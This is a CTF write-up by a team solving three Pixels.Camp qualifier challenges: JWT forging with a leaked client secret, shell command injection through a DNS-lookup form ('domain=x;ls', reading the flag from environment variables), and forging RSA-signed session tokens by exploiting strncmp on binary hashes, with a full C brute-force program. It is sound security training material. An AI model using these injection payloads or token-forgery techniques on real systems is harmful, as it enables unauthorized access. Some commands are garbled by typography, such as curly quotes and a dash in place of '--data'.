Pixels.Camp CTF Challenge Qualifiers Write-up
This year we tried to participate in another CTF competition, the BSidesLisbon CTF. We got stuck at the brute force challenge and failed to qualify. Since we love these challenges we decided to try the Pixels.Camp Lisbon CTF challenge. In the end we passed the qualifiers and finished in 7th position of the CTF classification.
In this article I’d like to share our solutions and more importantly, our train of thought for some of the challenges presented. If you already know what CTF is and just want to look at the solutions, feel free to skip the intro.
In order to participate in the competition, the teams needed to qualify by solving 5 challenges within one week and be within the first 10 to complete the challenges. I’ll talk about 3 of the 5 challenges. These qualifier challenges and CTF challenges are very similar when it comes to their characteristics.
What is a CTF Challenge?
The capture the flag challenges are well known within the security communities. These are challenges where your hacking mindset and skills are tested and improved for a broad range of topics including cryptography, web security, app security, forensics and many others.
When the challenges are solved participants are usually not allowed to expose the solutions (or as they’re called, write-ups) because that will defeat the purpose of these challenges. It is the time and work spent on the challenges that make people learn and improve their skills. However, at Pixels Camp and some other CTF competitions, this rule is more relaxed. In the case of Pixels Camp, they will eventually publish the solved challenges’ source code in their GitHub (https://github.com) account.
Quals Level #2
In this level, we’re presented with a login page which allows you to register a new user. The challenge intro said that all accounts were being hacked right after they are “used”. This is to simulate the behavior of a compromised system. The objective is to regain access to the account.
After trying some basic login credentials without success, a dummy user was registered. Say, john
with password john
. With this user we could log in and see what communication was happening, how the login was being done, what was the target of the POST, and how the information was sent.
This revealed that the login was making a POST request to /api/authenticate
with body {username: ?, password: ?}
. The reply from the server contained a parameter “token” whose value looked like an MD5 hash. This token was then used in the Authorization header of subsequent requests. The reply data is:
{“success”: true, “data”: {“name”: “q”, “username”: “q”, “token”: “6a36c1f453014765b3595c2fffd70019”}}
Right after the login, we’re forwarded to the home page, which checks if there is a user that’s logged in. If there is, it presents the metrics content. This content is based on the data we get from /api/metrics
request that includes a timestamp as parameter.
However, after we made 3 requests with different timestamps regardless of the value, the account would be locked and its password changed so we wouldn’t be able to log in again. This behavior is in line with what is described in the challenge introduction — after using the account for some time it is locked by the bad guy.
We tried to look around the REST API endpoints and found that making a request in /api/userst/<token>
would return the username. In addition, querying the /api/users/<username>
with the username would return if the user exists. We did some query parameters fuzzing in these endpoints and nothing interesting came up.
One way to try would be to learn how the token hash was built and handcraft one for the admin user. From the token length we could say one possible hashing algorithm is MD5. Thus we tried some basic combinations of payloads, such as the MD5 hash of:
username:password
username
{username: <username>, password: <password>}
- etc.
But none of these matched the token we got from the server.
We also tried to use hash cracking websites like CrackStation to know if this token would lead to some known hash. To do this, we used a login/password pair that was as simple as possible. For example, username “a” with password “a” so that the payload would be as simple as possible, with higher chance of being found in a cracked hash. If, by chance, the payload was “a:a” (<username>:<password>
) we’d have found the hash in CrackStation:
We had no luck on this path. We tried several hash cracking sites and found no matches for the tokens provided by the server.
After grabbing all the sources from the web page, we could see how the Authorization header was built. It was a JWT token [1] that used the server-provided token as the secret. The code to generate the JWT is in user.service.js
and is the following:
function GenAuthorization() {if (!$rootScope.globals.currentUser ||
!$rootScope.globals.currentUser.username) {
return false;
}var header = {
“alg”: “HS256”,
“typ”: “JWT”
},data = {
“username”: $rootScope.globals.currentUser.username,
“timestamp”: Date.now()
},encodedHeader = base64url(CryptoJS.enc.Utf8.parse(JSON.stringify(header))),encodedData = base64url(CryptoJS.enc.Utf8.parse(JSON.stringify(data))),encodedSig = base64url(CryptoJS.HmacSHA256(encodedHeader + “.” + encodedData, localStorage.user)),token = encodedHeader+”.”+encodedData+”.”+encodedSig;return token;}
Looking around for JWT weaknesses we can find that some implementations forget to handle the JWT algorithm named “none”. To understand this we need to know more on how JWTs are constructed. Here’s a very short description.
A JWT is essentially three parameters concatenated: header, payload and signature. The header contains the algorithm and possible parameters for the JWT in the form:
{“alg”: <ALGORITHM>, “param”: “value”}
Where the algorithm can be HS256, DS256, etc. The second parameter is the payload which is basically the data we want to protect from malicious changes. This is usually done by computing an HMAC using a secret only known to the good guys. The third parameter is the HMAC signature. All three parameters are base64 encoded into, say, p1, p2, p3. Then to form the JWT we concatenate the three parameters with a ‘.’ separating them like p1.p2.p3
.
We tried to provide an Authorization JWT with algorithm none
. For a username of john
and timestamp of 1000 it looks like:
eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImpvaG4iLCJ0aW1lc3RhbXAiOjEwMDB9.
It failed with 500 Internal Server Error.
We were stuck for a couple of hours. Then we decided to look around for what could be in the server side. From the error message format we got to a python library named bottle [3]. Looking further for this bottle python library and JWT, we stumbled across a previous challenge (200-RegainSession
) by Probely published in their GitHub. When we looked at it, we could see that it was exactly the same.
It is sometimes advised to look around other challenges for the same or similar problems. In this case it helped a lot. Looking at the source code in app.py
we can see the password that is used to lock users’ accounts. Reusing this password in the locked account provides us the flag.
This was a CTF challenge so it had a different solution. Basically, we needed to explore the weakness of knowing the JWT secret and being able to construct a JWT token on client side. Procedure would be:
1. Register an account, log in and let it lock.
2. Forge JWT token with the user secret but increment the timestamp. Use this forged token to make a GET
request in /api/users/<username>
. This will unlock the account.
3. Finally, forge a new JWT token with incremented timestamp and make a request to /api/metrics
.
This would provide the flag to the user.
Quals Level #4
This challenge is a website that did DNS queries on a domain we provided in a form. Tried a few basic SQL injections without any luck. Looked at the source code and found nothing interesting.
From the output we know it was querying for TXT records only, but apart from that, nothing interesting.
At some point we thought, do we need to setup a DNS server to respond with some strange TXT record?
We kept trying, looked at HTTP headers, nothing. Then we tried some command-line injections… after all, this could’ve been the output of some shell command, right?”
First tries returned nothing, but this one did:
$ curl -X POST https://c4-3013f9bcbe93-ctf.pixels.camp/index.php — data “domain=x;ls”
We got:
<table class=”table”>
<thead>
<tr>
<th scope=”col”>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>app</td>
</tr>
<tr>
<td>index.php</td>
</tr>
</tbody>
</table>
...
There.. it seems it is sending the user input directly into the dig shell command. Now we need to find the flag and try to exfil it. For some reason we were not able to get the multiple lines from the output all the time — in some cases only a single line was returned. Tried to find the flag file with commands like:
x; ls -l ; head -1
or..
x; find . -name ‘*FLAG*’ | head -1
Eventually we looked at the environment variables with printenv
and that’s where we got our flag. The easy way to get it was:
curl -X POST https://c4-3013f9bcbe93-ctf.pixels.camp/index.php — data “domain=x;echo $(FLAG)”
Whose HTML output was something like:
<tbody>
<tr>
<td>flag{rce_works_in_misterious_ways}</td>
</tr>
...
We learnt at the CTF that in fact the idea was to actually set up a DNS server and respond with some special TXT record but.. this was another way to do it and way easier.
Quals Level #5
In my opinion this was the most interesting challenge. It’s a crypto based challenge. The intro is the following:
We found a weird fortune cookie server. It appears to serve “standard” and “premium” fortune cookies. We are not sure what a premium fortune cookie is, but we know we want them. We tried all sorts of trickery to get to those delicious premium cookies, but the result has been a lot of fail. The only “premium” cookie we found is a stale, expired, session cookie:
session=6AMAAAHNdHRcAAAAAAJ9ugke57/TjsBvqandi1/WZsDapigQl2S7kCy0AqSCOSBmG7/592sUIy0i6C2BxCSmyQ6wpAI8Bjy3NoZXqszg/I4JuIi/NsA/4h2iXxkThP3lL6+vHuXjenm2UpyCZcZ12MoKbBS08OFydka93zeY6Fn1QQ6EponYE7C8sqic4Jp3++iEgn7NwEL63wfrrrNfnYEB1YV3hMK2GhynVIiuKyXCaepiBgmyjrJ6r9H36RYSricOwLjSVw0VNNZLcacq0VO7FSW4C8kvlcKrd456yRWpiLNkokPVl0edmOkv8BpHH8JE676HRoFbDeLRvsLFwKmwk0n2utkyOKC/GEM=
Maybe it can help you in getting a fresh premium session cookie. If you feel you are stuck, maybe try looking around a bit?
The challenge provides an expired premium account token, so we can’t use it directly at least. And we can get a basic account token from the web page. We tried some basic fuzzing on the parameters to try to get some information without luck. Looking at the cookie we knew it was base64 encoded but the decoded version is binary.
To learn more about the binary we get several basic tokens and compare them. Do they change all the bytes? If yes we could say it’s all encrypted.
Basic token 1:
00000000: e903 0000 0073 de7c 5c00 0000 0082 279e .....s.|\.....’.
00000010: 94f4 563d af06 deab 23d0 2fec c687 fcc9 ..V=....#./.....
00000020: 7a74 cc8b 7553 6ac8 e420 e811 e430 fc06 zt..uSj.. ...0..
00000030: 9073 70f3 8fc9 d727 832f d49e 9b48 21ad .sp....’./...H!.
...
Basic token 2:
00000000: e903 0000 00ef e27c 5c00 0000 006c fe97 .......|\....l..
00000010: 27b6 1e2f 4270 3cff d9e1 b9bb 1197 f4ef ‘../Bp<.........
00000020: 6910 6d04 145e e7a7 5e7f 9ccc 3a5d d9fc i.m..^..^...:]..
00000030: 4b8f da2c ee95 45db 7eb0 80cb ece9 9c05 K..,..E.~.......
...
We can see that portions of the token change a lot but the first bytes don’t. So this shows that potentially there is a structure at the beginning of the token with specific fields like a username and the token type. Maybe if we change some of these bytes in the basic token to match those of the premium it will turn the token into a valid premium token?
The first thing to do is to compare these first bytes / fields between premium and basic tokens:
Premium token:
00000000: e803 0000 01cd 7474 5c00 0000 0002 7dba ......tt\.....}.
00000010: 091e e7bf d38e c06f a9a9 dd8b 5fd6 66c0 .......o...._.f.
...
Basic token 1:
00000000: e903 0000 0073 de7c 5c00 0000 0082 279e .....s.|\.....’.
00000010: 94f4 563d af06 deab 23d0 2fec c687 fcc9 ..V=....#./.....
...
We can see the bytes that change. All the bytes beginning at a specific offset are different, even between different basic tokens, so it could be a cryptographic structure, like a hash or signature. Our first thought was that this is too many bytes to change just for storing the information of token type.
The first byte in the token (E8
and E9
) could be the token type field, where E8
stands for premium and E9
for basic account type. Trying to change that byte in the valid basic token and using this forged token did not work.e got the message: Sorry, but you need a valid premium cookie :(. The next difference is the 01
to 00
, which could be a single byte flag (true
or false
) but is also close to other bytes that change. It is hard to say if they belong to the same field or not. Both changing that single byte and changing the first byte (to E8
) and the one 00 to
01
did not work. None of this was working…
After spending some time in a specific trail without success I usually go back to the start and re-read all the challenge information carefully. Take every source code from the web, read them from start to bottom, dissect all the input information. This is very important. Sometimes we miss something, a little detail, a little clue that leads us to the right path.
Re-reading the challenge text it says in the end:
…If you feel you are stuck, maybe try looking around a bit?
Got it! This is a hint.. It usually means we should have some information easily accessible somewhere. Since this is a web-based challenge, the first thing I thought was to look at some common files and folders that are in the root of the web page. Things like backups, dumps and the robots.txt file. Tried to open the robots.txt file, and not only was it available, but it had the following contents:
User-agent: *
Disallow: /backups/latest.tar.gz
Bingo! Downloading this file and decompressing let us see:
-rw-r —r 1 jean jean 1144 Mar 1 19:01 Dockerfile
-rw-r —r 1 jean jean 6041 Feb 8 05:19 latest.tar.gz
-rwxr-xr-x 1 jean jean 702 Mar 4 17:54 run.sh
drwxr-xr-x 4 jean jean 4096 May 4 21:13 src
Inside the src we have the source code of the web page. This is a lot of information! So the first thing to do is to understand it… after looking through most of the files we’d know that:
- This web page is served by a C code using lwan (never heard of it, but the GitHub page says that it is an “experimental, scalable, high performance HTTP server”)
- The entire level is run in a docker container
- There are two pieces of information handed to the docker container when it’s launched: the flag contents and the private key used to sign the tokens.
- A brief look at the source code reveals that it is using the OpenSSL library and modern crypto functions.
To understand how the code works I usually start at the entry point and mentally trace it until it reaches the part that I’m interested in — in this case, how the tokens are created and validated. If I’ve less time I can try to make some shortcuts like greping for a specific message that is shown in the output in the source code of the target and trace backwards until I’ve enough information.
In the main function in main.c file we can see that there are two handlers for the web routing that are stored in a specific structure:
const struct lwan_url_map default_map[] = {
{.prefix = “/”, .handler = LWAN_HANDLER_REF(standard_fortune)},
{.prefix = “/premium”, .handler = WAN_HANDLER_REF(premium_fortune)},
{.prefix = NULL},
};
If we compare the two handler functions (standard_fortune
and premium_fortune
), the main difference is in the verify_session_cookie
call. For the standard it will generate a new session cookie if the one provided is not valid. For the premium it will show an error message if the token in the cookie is not valid.
Continuing the rationale of understanding how the token is built, we are led to the auth_create_token
function that is first used in verify_session_cookie
:
token = auth_create_token(1001, ACCOUNT_STANDARD, time(NULL))
The 1001
looks like a Unix user ID, and it is also provided an account type constant and the current Unix time value. Looking at auth_create_token
(which is inside auth.c
) we’ve:
char *auth_create_token(uint32_t uid, uint8_t account, time_t timestamp)
{
struct signed_token token = {
.token.user.uid = uid,
.token.user.account = account,
.token.timestamp = timestamp,
.sig = {0}
}; const uint8_t *token_bytes = (const uint8_t *) &token; size_t sigsize; if (!rsa_sign(token_bytes, sizeof(struct token), token.sig, &sigsize)) {
return NULL;
}
return (char *) _base64_encode(token_bytes, sizeof(token), NULL);
}
Now we have much more information on how the token is structured:
struct signed_token token = {
.token.user.uid = uid,
.token.user.account = account,
.token.timestamp = timestamp,
.sig = {0}
};
Looking at auth.h
we can see the structure declaration:
struct user {
uint32_t uid;
uint8_t account;
} __attribute__((__packed__));struct token {
struct user user;
time_t timestamp;
} __attribute__((__packed__));struct signed_token {
struct token token;
uint8_t sig[RSA_SIG_SIZE];
} __attribute__((__packed__));
Therefore the token structure, using the basic account token hexdump from above as an example, is the following:
UUUU UUUU AATT TTTT TTTT TTTT TTSS SSSS
00000000: e803 0000 01cd 7474 5c00 0000 0002 7dba ......tt\.....}.
00000010: 091e e7bf d38e c06f a9a9 dd8b 5fd6 66c0 .......o...._.f.
...
The UU
bytes are the user.uid
, the AA
byte is the user.account
and the TT
bytes are the token.timestamp
. The following SS
bytes are the sign
field.
So when we tried to change the account byte from 00
to 01
, why did it not work? We need to see how the token is being validated. From the looks of it, it seems the entire token is being signed, and whenever we change a byte in the token, the integrity is compromised and this could be caught by the signature validation.
This leads us to auth_verify_token
which essentially:
- Decodes the token from the cookie (from base64 to binary);
- Calls
rsa_verify
to check the token integrity based on the signature; - Checks if the token is not expired (from the time it is generated, it is valid for 24h).
The rsa_verify is called like this:
if (!rsa_verify(token_bytes, sizeof(struct token),
rsa_token->sig, sizeof(rsa_token->sig))) {
...
The token_bytes
points to the token first byte. The token structure head is a struct token
that comprises of uid
, account
and timestamp
. This is important information, as we will see later.
The rsa_verify function is:
static bool rsa_verify(const uint8_t *input, size_t insize, uint8_t *sig, size_t sigsize)
{
uint8_t decrypted[RSA_SIG_SIZE]; /* PKCS#1 (RFC3447) SHA-256 AlgorithmIdentifier */
static const uint8_t pkcs1_sha256_id[] = {
0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05,
0x00, 0x04, 0x20
}; // Decrypt the signature using the private key provided to the
// docker container, this is not known to us. if (RSA_public_decrypt((int) sigsize, sig, decrypted, TheKey,
RSA_PKCS1_PADDING) == -1) {
return false;
} // Compare the signature first bytes, they should match
// pkcs1_sha256_id
size_t i;
for (i = 0; i < sizeof(pkcs1_sha256_id) &&
i < sizeof(decrypted); i++)
{
if (pkcs1_sha256_id[i] != decrypted[i]) {
return false;
}
} const uint8_t *signature_hash = decrypted + i; // Calculate the SHA256 of an input which is the token header
// which is UID + account + timestamp. uint8_t our_hash[SHA256_SIZE];
unsigned int hashsize;
if (!sha256(input, insize, our_hash, &hashsize)) {
return false;
} /* Make sure that our hash matches the signature hash */
if (strncmp(our_hash, signature_hash, hashsize)) {
return false;
} return true;
}
As soon as we see the strncmp being used to compare binary data (a SHA256 hash), it should trigger an alarm. I knew there was some tricky stuff on using this function. It is common to know that the function will only compare a provided number of characters at maximum, so it won’t run beyond the buffers provided. But, what it less known is that it will stop at the first null character found in the input strings. So, for example:
strncmp(“ABC\0DEF”,“ABC\0DEF”,6) = match
strncmp(“ABC\0DEF”,“ABC\0XYZ”,6) = match also!
A hash value can have null bytes. If we assume that the decrypted signature of the premium token has a hash that one of the first bytes is null, we just need to have a token header whose SHA256 first bytes also match. Too fast? This can be hard to grasp, so let’s put it in steps:
The original premium token (where XX
is encrypted bytes):
00000000: e803 0000 01cd 7474 5c00 0000 00XX XXXX ......tt\.....}.
00000010: XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX ................
00000020: XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX ................
...
After sig
decryption:
00000000: e803 0000 01cd 7474 5c00 0000 0030 3130 ......tt\.....}.
00000010: 0d06 0960 8648 0165 0304 0201 0500 0420 ................
00000020: YYYY YYYY YYYY YYYY YYYY YYYY YYYY YYYY ................
00000030: YYYY YYYY YYYY YYYY YYYY YYYY YYYY YYYY ................
...
Where the YY
’s are the 32 bytes of the SHA256. This hash is calculated for the token header.
The validation algorithm then compares these YY
YY
YY
bytes… from the hash value with the token header hash:
SHA256(e803000001cd74745c00000000) = ZZ ZZ ZZ ZZ ZZ …
Using the strncmp
function:
strncmp(ZZ ZZ ZZ ZZ…, YY YY YY YY YY…, 32)
So if we change the token bytes we’ll get different hash value. Our initial assumption was that the YY
YY
YY
… hash had a null byte somewhere at the beginning so that we could exploit this strncmp usage flaw. So, something like:
00 YY YY YY YY ...
or
YY 00 YY YY YY ...
or
YY YY 00 YY YY ...
Initially we started cracking it blindly, assuming we didn’t know which of the first bytes was 00
. Using the uid
field of the token, we changed its value until the token header hash resulted in:
00 ?? ?? ?? ?? (uid=a)
01 00 ?? ?? ?? (uid=b)
02 00 ?? ?? ?? (uid=c)
03 00 ?? ?? ?? (uid=d)
...
FF 00 ?? ?? ?? (uid=..)
And sent this forged token (with a specific uid
, account=PREMIUM
, timestamp=now()
) that used the premium token sig
bytes. (Since we didn’t have the private key, we couldn’t generate an encrypted signature.)
However, we overlooked a simple detail. We already knew the encrypted hash value because it was based only on public information — the token header! No secrets and no salts are used. Just calculate the SHA256 of the premium token header:
$ echo -n e803 0000 01cd 7474 5c00 0000 00 | xxd -r -p | sha256sum
ae3800197ab7711e6edb7075364b0e2ffb7dc92190889419490c1097d87740c5 -
Look! The null byte is the third of the hash value! Now our task was much easier. We just need to choose a uid
field value that leads to a token whose SHA256 hash starts with AE 38 00
… the remaining bytes don’t matter because we’re using strncmp
.
We made a C program to crack it:
$ ./crack
Found good hash! uid=13965177
hash = ae3800da49714f00d13e141848c376660c400378524c813574d8345fdcc769db
You can find the source at the end of the article. This crack program also writes the complete token to a file:
$ xxd forged_token.bin
00000000: 7917 d500 0132 18ce 5c00 0000 0002 7dba y....2..\.....}.
00000010: 091e e7bf d38e c06f a9a9 dd8b 5fd6 66c0 .......o...._.f.
00000020: daa6 2810 9764 bb90 2cb4 02a4 8239 2066 ..(..d..,....9 f
00000030: 1bbf f9f7 6b14 232d 22e8 2d81 c424 a6c9 ....k.#-”.-..$..
00000040: 0eb0 a402 3c06 3cb7 3686 57aa cce0 fc8e ....<.<.6.W.....
00000050: 09b8 88bf 36c0 3fe2 1da2 5f19 1384 fde5 ....6.?..._.....
00000060: 2faf af1e e5e3 7a79 b652 9c82 65c6 75d8 /.....zy.R..e.u.
00000070: ca0a 6c14 b4f0 e172 7646 bddf 3798 e859 ..l....rvF..7..Y
00000080: f541 0e84 a689 d813 b0bc b2a8 9ce0 9a77 .A.............w
00000090: fbe8 8482 7ecd c042 fadf 07eb aeb3 5f9d ....~..B......_.
000000a0: 8101 d585 7784 c2b6 1a1c a754 88ae 2b25 ....w......T..+%
000000b0: c269 ea62 0609 b28e b27a afd1 f7e9 1612 .i.b.....z......
000000c0: ae27 0ec0 b8d2 570d 1534 d64b 71a7 2ad1 .’....W..4.Kq.*.
000000d0: 53bb 1525 b80b c92f 95c2 ab77 8e7a c915 S..%.../...w.z..
000000e0: a988 b364 a243 d597 479d 98e9 2ff0 1a47 ...d.C..G.../..G
000000f0: 1fc2 44eb be87 4681 5b0d e2d1 bec2 c5c0 ..D...F.[.......
00000100: a9b0 9349 f6ba d932 38a0 bf18 43 ...I...28...C
If we encode it to base64 and use it as the authentication token, we get the flag. Unfortunately we don’t have any screenshots for this challenge.
Conclusion
The last challenge was the most interesting for me. It was crypto-related, low level, and it allowed participants to exploit several flaws or weaknesses by using custom signature verification code, and using string comparison functions on binary inputs and unsalted signature hashes. Using a non-deterministic signing algorithm (like RSA-PSS) would prevent the token forgery even with the strncmp flaw.
More than providing the solutions, we wanted to share our train of thought on solving these challenges. Many people argue that solving CTFs trains your mind and skills for exploiting code, applications and services. I agree on that.
In the PixelsCamp CTF competition, after the 3 hours of CTF our team solved 7 of the 13 challenges and finished at the 7th position.
We hope you’ve enjoyed and possibly been motivated to try some of these CTFs. You can find challenges of all flavors, from web to forensics, so you can train yourself in specific fields if you prefer. The places I’d recommend to start with are overthewire.org, hackthebox.eu, and wechall.net, which provides a list of CTF sites and a rating board featuring worldwide rankings.
Have phun!
References
[1] JSON Web Token (JWT) https://tools.ietf.org/html/rfc7519
[2] HMAC: Keyed-Hashing for Message Authentication, https://tools.ietf.org/html/rfc2104
[3] https://github.com/bottlepy/bottle/issues/520
[4] https://github.com/Probely/CTF-Challenges/tree/master/WebHacking/200-RegainSession
Code Listing — crack.c
/*pixels.camp quals level #5Feedzai Team Solution — Hash CrackerCompile with: gcc -o crack crack.c -lcrypto*/#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <openssl/sha.h>
#include <time.h>#define true 1
#define false 0
#define SHA256_SIZE 256
#define RSA_SIG_SIZE 256struct user {
uint32_t uid;
uint8_t account;
} __attribute__((__packed__));struct token {
struct user user;
time_t timestamp;
} __attribute__((__packed__));struct signed_token {
struct token token;
uint8_t sig[RSA_SIG_SIZE];
} __attribute__((__packed__));typedef int bool;
int sha256(const uint8_t *input, size_t insize, uint8_t *digest,
unsigned int *digestsize)
{
EVP_MD_CTX *md_ctx = EVP_MD_CTX_create();
EVP_DigestInit(md_ctx, EVP_sha256());
EVP_DigestUpdate(md_ctx, input, insize);
EVP_DigestFinal(md_ctx, digest, digestsize);
EVP_MD_CTX_destroy(md_ctx); return true;
}bool crack_hash(uint8_t *seq_ptr, unsigned int seq_size, struct token *t)
{
uint8_t hash[SHA256_SIZE];
unsigned int hash_size = sizeof(hash);for( uint32_t i = 0 ; i < UINT32_MAX ; i++ )
{
t->user.uid = i;
sha256((uint8_t *)t,sizeof(struct token), hash, &hash_size);
if( !memcmp(seq_ptr, hash, seq_size) ) {
printf(“Found good hash! uid=%d\n”,i);
printf(“hash = “);
for( int i = 0 ; i < sizeof(hash) / 8; i++ ) {
printf(“%02x”,hash[i]);
} printf(“\n”);
return true;
}
}printf(“Unable to find wanted hash…\n”);
return false;
}char premium_token[] = {
0xe8, 0x03, 0x00, 0x00, 0x01, 0xcd, 0x74, 0x74, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x02, 0x7d, 0xba, 0x09, 0x1e, 0xe7, 0xbf, 0xd3, 0x8e, 0xc0, 0x6f, 0xa9, 0xa9, 0xdd, 0x8b, 0x5f, 0xd6, 0x66, 0xc0, 0xda, 0xa6, 0x28, 0x10, 0x97, 0x64, 0xbb, 0x90, 0x2c, 0xb4, 0x02, 0xa4, 0x82, 0x39, 0x20, 0x66, 0x1b, 0xbf, 0xf9, 0xf7, 0x6b, 0x14, 0x23, 0x2d, 0x22, 0xe8, 0x2d, 0x81, 0xc4, 0x24, 0xa6, 0xc9, 0x0e, 0xb0, 0xa4, 0x02, 0x3c, 0x06, 0x3c, 0xb7, 0x36, 0x86, 0x57, 0xaa, 0xcc, 0xe0, 0xfc, 0x8e, 0x09, 0xb8, 0x88, 0xbf, 0x36, 0xc0, 0x3f, 0xe2, 0x1d, 0xa2, 0x5f, 0x19, 0x13, 0x84, 0xfd, 0xe5, 0x2f, 0xaf, 0xaf, 0x1e, 0xe5, 0xe3, 0x7a, 0x79, 0xb6, 0x52, 0x9c, 0x82, 0x65, 0xc6, 0x75, 0xd8, 0xca, 0x0a, 0x6c, 0x14, 0xb4, 0xf0, 0xe1, 0x72, 0x76, 0x46, 0xbd, 0xdf, 0x37, 0x98, 0xe8, 0x59, 0xf5, 0x41, 0x0e, 0x84, 0xa6, 0x89, 0xd8, 0x13, 0xb0, 0xbc, 0xb2, 0xa8, 0x9c, 0xe0, 0x9a, 0x77, 0xfb, 0xe8, 0x84, 0x82, 0x7e, 0xcd, 0xc0, 0x42, 0xfa, 0xdf, 0x07, 0xeb, 0xae, 0xb3, 0x5f, 0x9d, 0x81, 0x01, 0xd5, 0x85, 0x77, 0x84, 0xc2, 0xb6, 0x1a, 0x1c, 0xa7, 0x54, 0x88, 0xae, 0x2b, 0x25, 0xc2, 0x69, 0xea, 0x62, 0x06, 0x09, 0xb2, 0x8e, 0xb2, 0x7a, 0xaf, 0xd1, 0xf7, 0xe9, 0x16, 0x12, 0xae, 0x27, 0x0e, 0xc0, 0xb8, 0xd2, 0x57, 0x0d, 0x15, 0x34, 0xd6, 0x4b, 0x71, 0xa7, 0x2a, 0xd1, 0x53, 0xbb, 0x15, 0x25, 0xb8, 0x0b, 0xc9, 0x2f, 0x95, 0xc2, 0xab, 0x77, 0x8e, 0x7a, 0xc9, 0x15, 0xa9, 0x88, 0xb3, 0x64, 0xa2, 0x43, 0xd5, 0x97, 0x47, 0x9d, 0x98, 0xe9, 0x2f, 0xf0, 0x1a, 0x47, 0x1f, 0xc2, 0x44, 0xeb, 0xbe, 0x87, 0x46, 0x81, 0x5b, 0x0d, 0xe2, 0xd1, 0xbe, 0xc2, 0xc5, 0xc0, 0xa9, 0xb0, 0x93, 0x49, 0xf6, 0xba, 0xd9, 0x32,
0x38, 0xa0, 0xbf, 0x18, 0x43
};void main(void)
{
struct token t; memset(&t,0,sizeof(t)); t.user.account = 1; // ACCOUNT_PREMIUM
t.timestamp = time(0); // Our wanted sequence of bytes in the hash
uint8_t seq[3] = {0xAE, 0x38, 0}; // Overwrite the premium token headers
memcpy(premium_token,&t,sizeof(t)); // Crack the hash
if( crack_hash(seq,3,&t) ) {
FILE *fw = fopen(“forged_token.bin”,”wb”);
memcpy(premium_token,&t,sizeof(t));
fwrite(premium_token,1,sizeof(premium_token),fw);
fclose(fw);
} return;
}